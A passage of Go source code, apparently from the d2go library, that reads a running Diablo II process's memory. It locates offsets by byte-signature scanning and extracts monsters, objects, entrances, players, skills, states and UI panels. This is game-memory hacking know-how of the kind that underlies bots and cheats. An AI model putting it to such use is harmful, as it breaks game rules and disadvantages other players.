data.Monsters { 84 | baseAddr := gd.Process.moduleBaseAddressPtr + gd.offset.UnitTable + 1024 85 | unitTableBuffer := gd.Process.ReadBytesFromMemory(baseAddr, 128*8) 86 | 87 | corpses := data.Monsters{} 88 | 89 | for i := 0; i < 128; i++ { 90 | monsterOffset := 8 * i 91 | monsterUnitPtr := uintptr(ReadUIntFromBuffer(unitTableBuffer, uint(monsterOffset), Uint64)) 92 | for monsterUnitPtr > 0 { 93 | isCorpse := gd.Process.ReadUInt(monsterUnitPtr+0x1AE, Uint8) 94 | if isCorpse == 0 { 95 | monsterUnitPtr = uintptr(gd.Process.ReadUInt(monsterUnitPtr+0x158, Uint64)) 96 | continue 97 | } 98 | 99 | monsterDataBuffer := gd.Process.ReadBytesFromMemory(monsterUnitPtr, 144) 100 | txtFileNo := ReadUIntFromBuffer(monsterDataBuffer, 0x04, Uint32) 101 | 102 | statsListExPtr := uintptr(ReadUIntFromBuffer(monsterDataBuffer, 0x88, Uint64)) 103 | statPtr := uintptr(gd.Process.ReadUInt(statsListExPtr+0x30, Uint64)) 104 | statCount := gd.Process.ReadUInt(statsListExPtr+0x38, Uint64) 105 | stats := gd.getMonsterStats(statCount, statPtr) 106 | 107 | if !gd.shouldBeIgnored(txtFileNo) || stats[stat.Experience] > 0 { 108 | unitID := ReadUIntFromBuffer(monsterDataBuffer, 0x08, Uint32) 109 | unitDataPtr := uintptr(ReadUIntFromBuffer(monsterDataBuffer, 0x10, Uint64)) 110 | flag := gd.Process.ReadBytesFromMemory(unitDataPtr+0x1A, Uint8)[0] 111 | 112 | pathPtr := uintptr(gd.Process.ReadUInt(monsterUnitPtr+0x38, Uint64)) 113 | posX := gd.Process.ReadUInt(pathPtr+0x02, Uint16) 114 | posY := gd.Process.ReadUInt(pathPtr+0x06, Uint16) 115 | 116 | states := gd.GetStates(statsListExPtr) 117 | 118 | corpses = append(corpses, data.Monster{ 119 | UnitID: data.UnitID(unitID), 120 | Name: npc.ID(int(txtFileNo)), 121 | IsHovered: hover.IsHovered && hover.UnitType == 1 && hover.UnitID == data.UnitID(unitID), 122 | Position: data.Position{ 123 | X: int(posX), 124 | Y: int(posY), 125 | }, 126 | Stats: stats, 127 | Type: getMonsterType(flag), 128 | States: states, 129 | }) 130 | } 131 | 132 | monsterUnitPtr = uintptr(gd.Process.ReadUInt(monsterUnitPtr+0x158, Uint64)) 133 | } 134 | } 135 | 136 | if len(corpses) > 0 { 137 | sort.SliceStable(corpses, func(i, j int) bool { 138 | distanceI := utils.DistanceFromPoint(playerPosition, corpses[i].Position) 139 | distanceJ := utils.DistanceFromPoint(playerPosition, corpses[j].Position) 140 | return distanceI < distanceJ 141 | }) 142 | } 143 | 144 | return corpses 145 | } 146 | 147 | func getMonsterType(typeFlag byte) data.MonsterType { 148 | switch typeFlag { 149 | case 10: 150 | return data.MonsterTypeSuperUnique 151 | case 1 << 2, 12: 152 | return data.MonsterTypeChampion 153 | case 1 << 3: 154 | return data.MonsterTypeUnique 155 | case 1 << 4: 156 | return data.MonsterTypeMinion 157 | } 158 | return data.MonsterTypeNone 159 | } 160 | 161 | func (gd *GameReader) getMonsterStats(statCount uint, statPtr uintptr) map[stat.ID]int { 162 | stats := map[stat.ID]int{} 163 | 164 | if statCount > 0 { 165 | statBuffer := gd.Process.ReadBytesFromMemory(statPtr+0x2, statCount*8) 166 | for i := 0; i < int(statCount); i++ { 167 | offset := uint(i * 8) 168 | statEnum := ReadUIntFromBuffer(statBuffer, offset, Uint16) 169 | statValue := ReadUIntFromBuffer(statBuffer, offset+0x2, Uint32) 170 | stats[stat.ID(statEnum)] = int(statValue) 171 | } 172 | } 173 | 174 | return stats 175 | } 176 | 177 | func (gd *GameReader) shouldBeIgnored(txtNo uint) bool { 178 | switch npc.ID(txtNo) { 179 | case npc.Chicken, 180 | npc.Rat, 181 | npc.Rogue, 182 | npc.HellMeteor, 183 | npc.Bird, 184 | npc.Bird2, 185 | npc.Bat, 186 | npc.Act2Male, 187 | npc.Act2Female, 188 | npc.Act2Child, 189 | npc.Cow, 190 | npc.Camel, 191 | npc.Act2Guard, 192 | npc.Act2Vendor, 193 | npc.Act2Vendor2, 194 | npc.Maggot, 195 | npc.Bug, 196 | npc.Scorpion, 197 | npc.Rogue2, 198 | npc.Rogue3, 199 | npc.Larva, 200 | npc.Familiar, 201 | npc.Act3Male, 202 | npc.Act3Female, 203 | npc.Snake, 204 | npc.Parrot, 205 | npc.Fish, 206 | npc.EvilHole, 207 | npc.EvilHole2, 208 | npc.EvilHole3, 209 | npc.EvilHole4, 210 | npc.EvilHole5, 211 | npc.FireboltTrap, 212 | npc.HorzMissileTrap, 213 | npc.VertMissileTrap, 214 | npc.PoisonCloudTrap, 215 | npc.LightningTrap, 216 | npc.InvisoSpawner, 217 | npc.Guard, 218 | npc.MiniSper, 219 | npc.BoneWall, 220 | npc.Hydra, 221 | npc.Hydra2, 222 | npc.Hydra3, 223 | npc.SevenTombs, 224 | npc.IronWolf, 225 | npc.CompellingOrbNpc, 226 | npc.SpiritMummy, 227 | npc.Act2Guard4, 228 | npc.Act2Guard5, 229 | npc.Window, 230 | npc.Window2, 231 | npc.MephistoSpirit, 232 | npc.WakeOfDestruction, 233 | npc.ChargedBoltSentry, 234 | npc.LightningSentry, 235 | npc.InvisiblePet, 236 | npc.InfernoSentry, 237 | npc.DeathSentry, 238 | npc.BaalThrone, 239 | npc.BaalTentacle, 240 | npc.BaalTentacle2, 241 | npc.BaalTentacle3, 242 | npc.BaalTentacle4, 243 | npc.BaalTentacle5, 244 | npc.InjuredBarbarian, 245 | npc.InjuredBarbarian2, 246 | npc.InjuredBarbarian3, 247 | npc.FrenziedHellSpawn, 248 | npc.FrenziedIceSpawn, 249 | npc.CatapultSpotterE, 250 | npc.CatapultSpotterS, 251 | npc.CatapultSpotterW, 252 | npc.CatapultW, 253 | npc.CatapultE, 254 | npc.CatapultS, 255 | npc.CatapultSiege, 256 | npc.BarricadeWallRight, 257 | npc.BarricadeWallLeft, 258 | npc.BarricadeDoor, 259 | npc.BarricadeDoor2, 260 | npc.BarricadeTower, 261 | npc.EvilHut, 262 | npc.DemonHole: 263 | return true 264 | } 265 | return false 266 | } 267 | -------------------------------------------------------------------------------- /pkg/memory/object.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "sort" 5 | 6 | "github.com/notedhouse/d2go/pkg/data/entrance" 7 | "github.com/notedhouse/d2go/pkg/data/mode" 8 | 9 | "github.com/notedhouse/d2go/pkg/data" 10 | "github.com/notedhouse/d2go/pkg/data/area" 11 | "github.com/notedhouse/d2go/pkg/data/object" 12 | "github.com/notedhouse/d2go/pkg/utils" 13 | ) 14 | 15 | func isPortal(txtFileNo int) bool { 16 | desc, ok := object.Desc[txtFileNo] 17 | return ok && desc.Name == "Portal" 18 | } 19 | 20 | func (gd *GameReader) Objects(playerPosition data.Position, hover data.HoverData) []data.Object { 21 | baseAddr := gd.Process.moduleBaseAddressPtr + gd.offset.UnitTable + (2 * 1024) 22 | unitTableBuffer := gd.Process.ReadBytesFromMemory(baseAddr, 128*8) 23 | 24 | var objects []data.Object 25 | 26 | for i := 0; i < 128; i++ { 27 | objectOffset := 8 * i 28 | objectUnitPtr := uintptr(ReadUIntFromBuffer(unitTableBuffer, uint(objectOffset), Uint64)) 29 | 30 | for objectUnitPtr > 0 { 31 | // Read minimal data first to check object type 32 | objectType := gd.Process.ReadUInt(objectUnitPtr+0x00, Uint32) 33 | 34 | if objectType == 2 { 35 | rawTxtFileNo := gd.Process.ReadUInt(objectUnitPtr+0x04, Uint32) // Extract actual txtFileNo 36 | txtFileNo := rawTxtFileNo & 0xFFFF 37 | unitID := gd.Process.ReadUInt(objectUnitPtr+0x08, Uint32) 38 | objectMode := mode.ObjectMode(gd.Process.ReadUInt(objectUnitPtr+0x0c, Uint32)) 39 | unitDataPtr := uintptr(gd.Process.ReadUInt(objectUnitPtr+0x10, Uint64)) 40 | 41 | //This offset gives timer for each mode to keep progress in real time. exemple: Mode.Operating fresh timer then Mode.Opened new timer (for objects) 42 | // timerValue := uint32(gd.Process.ReadUInt(objectUnitPtr+0x5C, Uint32)) 43 | 44 | // Path and position data 45 | pathPtr := uintptr(gd.Process.ReadUInt(objectUnitPtr+0x38, Uint64)) 46 | // Coordinates (X, Y) 47 | posX := gd.Process.ReadUInt(pathPtr+0x10, Uint16) 48 | posY := gd.Process.ReadUInt(pathPtr+0x14, Uint16) 49 | 50 | var shrineData object.ShrineData 51 | var portalData object.PortalData 52 | interactType := gd.Process.ReadUInt(unitDataPtr+0x08, Uint8) 53 | owner := gd.Process.ReadStringFromMemory(unitDataPtr+0x34, 32) 54 | 55 | // Handle portals 56 | if isPortal(int(txtFileNo)) { 57 | destArea := area.ID(gd.Process.ReadUInt(unitDataPtr+0x08, Uint8)) 58 | portalData.DestArea = destArea 59 | // Handle Shrines 60 | } else { 61 | shrineTextPtr := uintptr(gd.Process.ReadUInt(objectUnitPtr+0x0A, Uint64)) 62 | if shrineTextPtr > 0 { 63 | shrineType := gd.Process.ReadUInt(unitDataPtr+0x08, Uint8) 64 | shrineData = object.ShrineData{ 65 | ShrineName: object.ShrineTypeNames[object.ShrineType(shrineType)], 66 | ShrineType: object.ShrineType(shrineType), 67 | } 68 | } 69 | } 70 | // Handle objects 71 | objects = append(objects, data.Object{ 72 | ID: data.UnitID(unitID), 73 | Name: object.Name(int(txtFileNo)), 74 | IsHovered: data.UnitID(unitID) == hover.UnitID && hover.UnitType == 2 && hover.IsHovered, 75 | InteractType: object.InteractType(interactType), 76 | Shrine: shrineData, 77 | Selectable: objectMode == mode.ObjectModeIdle, 78 | Position: data.Position{ 79 | X: int(posX), 80 | Y: int(posY), 81 | }, 82 | Owner: owner, 83 | Mode: objectMode, 84 | PortalData: portalData, 85 | }) 86 | } 87 | objectUnitPtr = uintptr(gd.Process.ReadUInt(objectUnitPtr+0x158, Uint64)) 88 | } 89 | } 90 | 91 | if len(objects) > 0 { 92 | sort.SliceStable(objects, func(i, j int) bool { 93 | distanceI := utils.DistanceFromPoint(playerPosition, objects[i].Position) 94 | distanceJ := utils.DistanceFromPoint(playerPosition, objects[j].Position) 95 | return distanceI < distanceJ 96 | }) 97 | } 98 | 99 | return objects 100 | } 101 | func (gd *GameReader) Entrances(playerPosition data.Position, hover data.HoverData) []data.Entrance { 102 | baseAddr := gd.Process.moduleBaseAddressPtr + gd.offset.UnitTable + (5 * 1024) 103 | unitTableBuffer := gd.Process.ReadBytesFromMemory(baseAddr, 128*8) 104 | 105 | var entrances []data.Entrance 106 | 107 | for i := 0; i < 128; i++ { 108 | entranceOffset := 8 * i 109 | entranceUnitPtr := uintptr(ReadUIntFromBuffer(unitTableBuffer, uint(entranceOffset), Uint64)) 110 | 111 | for entranceUnitPtr > 0 { 112 | 113 | if entranceType := gd.Process.ReadUInt(entranceUnitPtr+0x00, Uint32); entranceType == 5 { 114 | txtFileNo := gd.Process.ReadUInt(entranceUnitPtr+0x04, Uint32) 115 | unitID := gd.Process.ReadUInt(entranceUnitPtr+0x08, Uint32) 116 | 117 | pathPtr := uintptr(gd.Process.ReadUInt(entranceUnitPtr+0x38, Uint64)) 118 | posX := gd.Process.ReadUInt(pathPtr+0x10, Uint16) 119 | posY := gd.Process.ReadUInt(pathPtr+0x14, Uint16) 120 | 121 | entrances = append(entrances, data.Entrance{ 122 | ID: data.UnitID(unitID), 123 | Name: entrance.Name(txtFileNo), 124 | IsHovered: data.UnitID(unitID) == hover.UnitID && hover.UnitType == 5 && hover.IsHovered, 125 | Position: data.Position{ 126 | X: int(posX), 127 | Y: int(posY), 128 | }, 129 | }) 130 | } 131 | entranceUnitPtr = uintptr(gd.Process.ReadUInt(entranceUnitPtr+0x158, Uint64)) 132 | } 133 | } 134 | 135 | return entrances 136 | } 137 | -------------------------------------------------------------------------------- /pkg/memory/offset.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "encoding/binary" 5 | ) 6 | 7 | type Offset struct { 8 | GameData uintptr 9 | UnitTable uintptr 10 | UI uintptr 11 | Hover uintptr 12 | Expansion uintptr 13 | RosterOffset uintptr 14 | PanelManagerContainerOffset uintptr 15 | WidgetStatesOffset uintptr 16 | WaypointsOffset uintptr 17 | FPS uintptr 18 | } 19 | 20 | func calculateOffsets(process Process) Offset { 21 | // ignoring errors, always best practices 22 | memory, _ := process.getProcessMemory() 23 | 24 | // GameReader 25 | pattern := process.FindPattern(memory, "\x44\x88\x25\x00\x00\x00\x00\x66\x44\x89\x25\x00\x00\x00\x00", "xxx????xxxx????") 26 | bytes := process.ReadBytesFromMemory(pattern+0x3, 4) 27 | offsetInt := uintptr(binary.LittleEndian.Uint32(bytes)) 28 | gameDataOffset := (pattern - process.moduleBaseAddressPtr) - 0x121 + offsetInt 29 | 30 | // UnitTable 31 | pattern = process.FindPattern(memory, "\x48\x03\xC7\x49\x8B\x8C\xC6", "xxxxxxx") 32 | bytes = process.ReadBytesFromMemory(pattern+7, 4) 33 | unitTableOffset := uintptr(binary.LittleEndian.Uint32(bytes)) 34 | 35 | // UI 36 | pattern = process.FindPattern(memory, "\x40\x84\xed\x0f\x94\x05", "xxxxxx") 37 | uiOffset := process.ReadUInt(pattern+6, Uint32) 38 | uiOffsetPtr := (pattern - process.moduleBaseAddressPtr) + 10 + uintptr(uiOffset) 39 | 40 | // Hover 41 | pattern = process.FindPattern(memory, "\xc6\x84\xc2\x00\x00\x00\x00\x00\x48\x8b\x74", "xxx?????xxx") 42 | hoverOffset := process.ReadUInt(pattern+3, Uint32) - 1 43 | 44 | // Expansion 45 | pattern = process.FindPattern(memory, "\x48\x8B\x05\x00\x00\x00\x00\x48\x8B\xD9\xF3\x0F\x10\x50\x00", "xxx????xxxxxxx?") 46 | offsetPtr := uintptr(process.ReadUInt(pattern+3, Uint32)) 47 | expOffset := pattern - process.moduleBaseAddressPtr + 7 + offsetPtr 48 | 49 | // Party members offset 50 | pattern = process.FindPattern(memory, "\x02\x45\x33\xD2\x4D\x8B", "xxxxxx") 51 | offsetPtr = uintptr(process.ReadUInt(pattern-3, Uint32)) 52 | rosterOffset := pattern - process.moduleBaseAddressPtr + 1 + offsetPtr 53 | 54 | // PanelManagerContainer 55 | pattern = process.FindPatternByOperand(memory, "\x48\x89\x05\x00\x00\x00\x00\x48\x85\xDB\x74\x1E", "xxx????xxxxx") 56 | bytes = process.ReadBytesFromMemory(pattern, 8) 57 | panelManagerContainerOffset := (pattern - process.moduleBaseAddressPtr) // uintptr(binary.LittleEndian.Uint64(bytes)) 58 | 59 | // WidgetStates 60 | pattern = process.FindPattern(memory, "\x48\x8B\x0D\x00\x00\x00\x00\x4C\x8D\x44\x24\x00\x48\x03\xC2", "xxx????xxxx?xxx") 61 | WidgetStatesPtr := process.ReadUInt(pattern+3, Uint32) 62 | WidgetStatesOffset := pattern - process.moduleBaseAddressPtr + 7 + uintptr(WidgetStatesPtr) 63 | 64 | // Waypoints 65 | pattern = process.FindPattern(memory, "\x48\x89\x05\x00\x00\x00\x00\x0F\x11\x00", "xxx????xxx") 66 | offsetBuffer := process.ReadUInt(pattern+3, Uint32) 67 | WaypointsOffset := pattern - process.moduleBaseAddressPtr + 23 + uintptr(offsetBuffer) 68 | 69 | // FPS 70 | pattern = process.FindPattern(memory, "\x8B\x1D\x00\x00\x00\x00\x48\x8D\x05\x00\x00\x00\x00\x48\x8D\x4C\x24\x40", "xx????xxx????xxxxx") 71 | fpsOffsetPtr := uintptr(process.ReadUInt(pattern+2, Uint32)) 72 | fpsOffset := pattern - process.moduleBaseAddressPtr + 6 + fpsOffsetPtr 73 | 74 | 75 | return Offset{ 76 | GameData: gameDataOffset, 77 | UnitTable: unitTableOffset, 78 | UI: uiOffsetPtr, 79 | Hover: uintptr(hoverOffset), 80 | Expansion: expOffset, 81 | RosterOffset: rosterOffset, 82 | PanelManagerContainerOffset: panelManagerContainerOffset, 83 | WidgetStatesOffset: WidgetStatesOffset, 84 | WaypointsOffset: WaypointsOffset, 85 | FPS: fpsOffset, 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /pkg/memory/panels.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "github.com/notedhouse/d2go/pkg/data" 5 | ) 6 | 7 | func NewPanel(panelPtr uintptr, panelParent string, depth int, gd *GameReader) *data.Panel { //itemUnitPtr = uintptr(gd.Process.ReadUInt(itemUnitPtr+0x158, Uint64)) 8 | panel := &data.Panel{ 9 | PanelPtr: panelPtr, 10 | PanelName: gd.Process.ReadStringFromMemory(uintptr(gd.Process.ReadUInt(panelPtr+0x08, Uint64)), 0), 11 | PanelEnabled: gd.Process.ReadUInt(panelPtr+0x50, Uint8) != 0, 12 | PanelVisible: gd.Process.ReadUInt(panelPtr+0x51, Uint8) != 0, 13 | PtrChild: uintptr(gd.Process.ReadUInt(panelPtr+0x58, Uint64)), 14 | NumChildren: int(gd.Process.ReadUInt(panelPtr+0x60, Uint8)), 15 | ExtraText: gd.Process.ReadStringFromMemory(panelPtr+0xA0, 0), 16 | ExtraText2: gd.Process.ReadStringFromMemory(uintptr(gd.Process.ReadUInt(panelPtr+0x290, Uint64)), 0), 17 | ExtraText3: gd.Process.ReadStringFromMemory(uintptr(gd.Process.ReadUInt(panelPtr+0x88, Uint64)), 0), 18 | PanelParent: panelParent, 19 | PanelChildren: make(map[string]data.Panel), 20 | Depth: depth, 21 | } 22 | if panel.NumChildren > 0 && panel.NumChildren < 50 { 23 | readPanel(panel.PtrChild, panel.NumChildren, &panel.PanelChildren, panel.PanelName, depth+1, gd) 24 | } 25 | return panel 26 | } 27 | 28 | func GetText(p data.Panel) string { 29 | text1 := cleanString(p.ExtraText) 30 | text2 := cleanString(p.ExtraText2) 31 | text3 := cleanString(p.ExtraText3) 32 | 33 | if text3 != "" && isASCII(text3) { 34 | return text3 35 | } 36 | if text2 != "" && isASCII(text2) { 37 | return text2 38 | } 39 | if text1 != "" && isASCII(text1) { 40 | return text1 41 | } 42 | return "" 43 | } 44 | 45 | func cleanString(input string) string { 46 | return input // Replace newlines and carriage returns as needed 47 | } 48 | 49 | func isASCII(s string) bool { 50 | for _, r := range s { 51 | if r < 32 || r > 126 { 52 | return false 53 | } 54 | } 55 | return true 56 | } 57 | 58 | // ReadAllPanels reads all panels from the game memory 59 | func (gd *GameReader) ReadAllPanels() map[string]data.Panel { 60 | base := gd.Process.moduleBaseAddressPtr + gd.offset.PanelManagerContainerOffset 61 | panelStructPtr := uintptr(gd.Process.ReadUInt(base, Uint64)) 62 | panelPtr := uintptr(gd.Process.ReadUInt(panelStructPtr+0x58, Uint64)) 63 | numChildren := int(gd.Process.ReadUInt(panelStructPtr+0x60, Uint8)) 64 | 65 | panels := make(map[string]data.Panel) 66 | depth := 0 67 | // recursively read all panels, starting with the Root panel 68 | readPanel(panelPtr, numChildren, &panels, "Root", depth, gd) 69 | return panels 70 | } 71 | 72 | func readPanel(panelPtr uintptr, numChildren int, panels *map[string]data.Panel, panelParent string, depth int, gd *GameReader) { 73 | for i := 0; i < numChildren; i++ { 74 | panelStructPtr := uintptr(gd.Process.ReadUInt(uintptr(uint64(panelPtr)+uint64(i*8)), Uint64)) 75 | thisPanel := NewPanel(panelStructPtr, panelParent, depth, gd) 76 | (*panels)[thisPanel.PanelName] = *thisPanel 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /pkg/memory/player.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "encoding/binary" 5 | 6 | "github.com/notedhouse/d2go/pkg/data/mode" 7 | 8 | "github.com/notedhouse/d2go/pkg/data" 9 | "github.com/notedhouse/d2go/pkg/data/area" 10 | "github.com/notedhouse/d2go/pkg/data/skill" 11 | "github.com/notedhouse/d2go/pkg/data/state" 12 | ) 13 | 14 | func (gd *GameReader) GetRawPlayerUnits() RawPlayerUnits { 15 | rawPlayerUnits := make(RawPlayerUnits, 0) 16 | hover := gd.HoveredData() 17 | for i := 0; i < 128; i++ { 18 | unitOffset := gd.offset.UnitTable + uintptr(i*8) 19 | playerUnitAddr := gd.Process.moduleBaseAddressPtr + unitOffset 20 | playerUnit := uintptr(gd.Process.ReadUInt(playerUnitAddr, Uint64)) 21 | for playerUnit > 0 { 22 | unitID := gd.Process.ReadUInt(playerUnit+0x08, Uint32) 23 | pInventory := playerUnit + 0x90 24 | inventoryAddr := uintptr(gd.Process.ReadUInt(pInventory, Uint64)) 25 | 26 | pPath := playerUnit + 0x38 27 | pathAddress := uintptr(gd.Process.ReadUInt(pPath, Uint64)) 28 | room1Ptr := uintptr(gd.Process.ReadUInt(pathAddress+0x20, Uint64)) 29 | room2Ptr := uintptr(gd.Process.ReadUInt(room1Ptr+0x18, Uint64)) 30 | levelPtr := uintptr(gd.Process.ReadUInt(room2Ptr+0x90, Uint64)) 31 | levelNo := gd.Process.ReadUInt(levelPtr+0x1F8, Uint32) 32 | 33 | xPos := gd.Process.ReadUInt(pathAddress+0x02, Uint16) 34 | yPos := gd.Process.ReadUInt(pathAddress+0x06, Uint16) 35 | pUnitData := playerUnit + 0x10 36 | playerNameAddr := uintptr(gd.Process.ReadUInt(pUnitData, Uint64)) 37 | name := gd.Process.ReadStringFromMemory(playerNameAddr, 0) 38 | 39 | expCharPtr := uintptr(gd.Process.ReadUInt(gd.moduleBaseAddressPtr+gd.offset.Expansion, Uint64)) 40 | expChar := gd.Process.ReadUInt(expCharPtr+0x5C, Uint16) 41 | isMainPlayer := gd.Process.ReadUInt(inventoryAddr+0x30, Uint16) 42 | if expChar > 0 { 43 | isMainPlayer = gd.Process.ReadUInt(inventoryAddr+0x70, Uint16) 44 | } 45 | isCorpse := gd.Process.ReadUInt(playerUnit+0x1AE, Uint8) 46 | 47 | statsListExPtr := uintptr(gd.Process.ReadUInt(playerUnit+0x88, Uint64)) 48 | baseStats := gd.getStatsList(statsListExPtr + 0x30) 49 | stats := gd.getStatsList(statsListExPtr + 0xA8) 50 | states := gd.GetStates(statsListExPtr) 51 | playerMode := mode.PlayerMode(gd.Process.ReadUInt(playerUnit+0x0c, Uint32)) 52 | 53 | rawPlayerUnits = append(rawPlayerUnits, RawPlayerUnit{ 54 | UnitID: data.UnitID(unitID), 55 | Address: playerUnit, 56 | Name: name, 57 | IsMainPlayer: isMainPlayer > 0, 58 | IsCorpse: isCorpse == 1 && inventoryAddr > 0 && xPos > 0 && yPos > 0, 59 | Area: area.ID(levelNo), 60 | Position: data.Position{ 61 | X: int(xPos), 62 | Y: int(yPos), 63 | }, 64 | IsHovered: hover.IsHovered && hover.UnitID == data.UnitID(unitID) && hover.UnitType == 0, 65 | States: states, 66 | Stats: stats, 67 | BaseStats: baseStats, 68 | Mode: playerMode, 69 | }) 70 | playerUnit = uintptr(gd.Process.ReadUInt(playerUnit+0x158, Uint64)) 71 | } 72 | } 73 | 74 | return rawPlayerUnits 75 | } 76 | 77 | func (gd *GameReader) GetPlayerUnit(mainPlayerUnit RawPlayerUnit) data.PlayerUnit { 78 | // Skills 79 | skillListPtr := uintptr(gd.Process.ReadUInt(mainPlayerUnit.Address+0x100, Uint64)) 80 | skills := gd.getSkills(skillListPtr) 81 | 82 | leftSkillPtr := gd.Process.ReadUInt(skillListPtr+0x08, Uint64) 83 | leftSkillTxtPtr := uintptr(gd.Process.ReadUInt(uintptr(leftSkillPtr), Uint64)) 84 | leftSkillId := uintptr(gd.Process.ReadUInt(leftSkillTxtPtr, Uint16)) 85 | 86 | rightSkillPtr := gd.Process.ReadUInt(skillListPtr+0x10, Uint64) 87 | rightSkillTxtPtr := uintptr(gd.Process.ReadUInt(uintptr(rightSkillPtr), Uint64)) 88 | rightSkillId := uintptr(gd.Process.ReadUInt(rightSkillTxtPtr, Uint16)) 89 | 90 | // Class 91 | class := data.Class(gd.Process.ReadUInt(mainPlayerUnit.Address+0x17C, Uint32)) 92 | 93 | availableWPs := make([]area.ID, 0) 94 | // Probably there is a better place to pick up those values, since this seems to be very tied to the UI 95 | wpList := gd.Process.ReadBytesFromMemory(gd.moduleBaseAddressPtr+gd.offset.WaypointsOffset, 0x48) 96 | for i := 0; i < 0x48; i = i + 8 { 97 | a := binary.LittleEndian.Uint32(wpList[i : i+4]) 98 | available := binary.LittleEndian.Uint32(wpList[i+4 : i+8]) 99 | if available == 1 || mainPlayerUnit.Area == area.ID(a) { 100 | availableWPs = append(availableWPs, area.ID(a)) 101 | } 102 | } 103 | 104 | d := data.PlayerUnit{ 105 | Address: mainPlayerUnit.Address, 106 | Name: mainPlayerUnit.Name, 107 | ID: mainPlayerUnit.UnitID, 108 | Area: mainPlayerUnit.Area, 109 | Position: mainPlayerUnit.Position, 110 | Stats: mainPlayerUnit.Stats, 111 | BaseStats: mainPlayerUnit.BaseStats, 112 | Skills: skills, 113 | States: mainPlayerUnit.States, 114 | Class: class, 115 | LeftSkill: skill.ID(leftSkillId), 116 | RightSkill: skill.ID(rightSkillId), 117 | AvailableWaypoints: availableWPs, 118 | Mode: mainPlayerUnit.Mode, 119 | } 120 | 121 | return d 122 | } 123 | 124 | func (gd *GameReader) getSkills(skillListPtr uintptr) map[skill.ID]skill.Points { 125 | skills := make(map[skill.ID]skill.Points) 126 | 127 | skillPtr := uintptr(gd.Process.ReadUInt(skillListPtr, Uint64)) 128 | 129 | for skillPtr != 0 { 130 | skillTxtPtr := uintptr(gd.Process.ReadUInt(skillPtr, Uint64)) 131 | skillTxt := uintptr(gd.Process.ReadUInt(skillTxtPtr, Uint16)) 132 | lvl := gd.Process.ReadUInt(skillPtr+0x38, Uint16) 133 | quantity := gd.Process.ReadUInt(skillPtr+0x40, Uint16) 134 | charges := gd.Process.ReadUInt(skillPtr+0x48, Uint16) 135 | 136 | skills[skill.ID(skillTxt)] = skill.Points{ 137 | Level: lvl, 138 | Quantity: quantity, 139 | Charges: charges, 140 | } 141 | 142 | skillPtr = uintptr(gd.Process.ReadUInt(skillPtr+0x08, Uint64)) 143 | } 144 | 145 | return skills 146 | } 147 | 148 | func (gd *GameReader) GetStates(statsListExPtr uintptr) state.States { 149 | var states state.States 150 | for i := 0; i < 6; i++ { 151 | offset := i * 4 152 | stateByte := gd.Process.ReadUInt(statsListExPtr+0xAF0+uintptr(offset), Uint32) 153 | 154 | offset = (32 * i) - 1 155 | states = append(states, calculateStates(stateByte, uint(offset))...) 156 | } 157 | 158 | return states 159 | } 160 | 161 | func calculateStates(stateFlag uint, offset uint) []state.State { 162 | var states []state.State 163 | if 0x00000001&stateFlag != 0 { 164 | states = append(states, state.State(1+offset)) 165 | } 166 | if 0x00000002&stateFlag != 0 { 167 | states = append(states, state.State(2+offset)) 168 | } 169 | if 0x00000004&stateFlag != 0 { 170 | states = append(states, state.State(3+offset)) 171 | } 172 | if 0x00000008&stateFlag != 0 { 173 | states = append(states, state.State(4+offset)) 174 | } 175 | if 0x00000010&stateFlag != 0 { 176 | states = append(states, state.State(5+offset)) 177 | } 178 | if 0x00000020&stateFlag != 0 { 179 | states = append(states, state.State(6+offset)) 180 | } 181 | if 0x00000040&stateFlag != 0 { 182 | states = append(states, state.State(7+offset)) 183 | } 184 | if 0x00000080&stateFlag != 0 { 185 | states = append(states, state.State(8+offset)) 186 | } 187 | if 0x00000100&stateFlag != 0 { 188 | states = append(states, state.State(9+offset)) 189 | } 190 | if 0x00000200&stateFlag != 0 { 191 | states = append(states, state.State(10+offset)) 192 | } 193 | if 0x00000400&stateFlag != 0 { 194 | states = append(states, state.State(11+offset)) 195 | } 196 | if 0x00000800&stateFlag != 0 { 197 | states = append(states, state.State(12+offset)) 198 | } 199 | if 0x00001000&stateFlag != 0 { 200 | states = append(states, state.State(13+offset)) 201 | } 202 | if 0x00002000&stateFlag != 0 { 203 | states = append(states, state.State(14+offset)) 204 | } 205 | if 0x00004000&stateFlag != 0 { 206 | states = append(states, state.State(15+offset)) 207 | } 208 | if 0x00008000&stateFlag != 0 { 209 | states = append(states, state.State(16+offset)) 210 | } 211 | if 0x00010000&stateFlag != 0 { 212 | states = append(states, state.State(17+offset)) 213 | } 214 | if 0x00020000&stateFlag != 0 { 215 | states = append(states, state.State(18+offset)) 216 | } 217 | if 0x00040000&stateFlag != 0 { 218 | states = append(states, state.State(19+offset)) 219 | } 220 | if 0x00080000&stateFlag != 0 { 221 | states = append(states, state.State(20+offset)) 222 | } 223 | if 0x00100000&stateFlag != 0 { 224 | states = append(states, state.State(21+offset)) 225 | } 226 | if 0x00200000&stateFlag != 0 { 227 | states = append(states, state.State(22+offset)) 228 | } 229 | if 0x00400000&stateFlag != 0 { 230 | states = append(states, state.State(23+offset)) 231 | } 232 | if 0x00800000&stateFlag != 0 { 233 | states = append(states, state.State(24+offset)) 234 | } 235 | if 0x01000000&stateFlag != 0 { 236 | states = append(states, state.State(25+offset)) 237 | } 238 | if 0x02000000&stateFlag != 0 { 239 | states = append(states, state.State(26+offset)) 240 | } 241 | if 0x04000000&stateFlag != 0 { 242 | states = append(states, state.State(27+offset)) 243 | } 244 | if 0x08000000&stateFlag != 0 { 245 | states = append(states, state.State(28+offset)) 246 | } 247 | if 0x10000000&stateFlag != 0 { 248 | states = append(states, state.State(29+offset)) 249 | } 250 | if 0x20000000&stateFlag != 0 { 251 | states = append(states, state.State(30+offset)) 252 | } 253 | if 0x40000000&stateFlag != 0 { 254 | states = append(states, state.State(31+offset)) 255 | } 256 | if 0x80000000&stateFlag != 0 { 257 | states = append(states, state.State(32+offset)) 258 | } 259 | 260 | return states 261 | } 262 | -------------------------------------------------------------------------------- /pkg/memory/player_unit.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "github.com/notedhouse/d2go/pkg/data" 5 | "github.com/notedhouse/d2go/pkg/data/area" 6 | 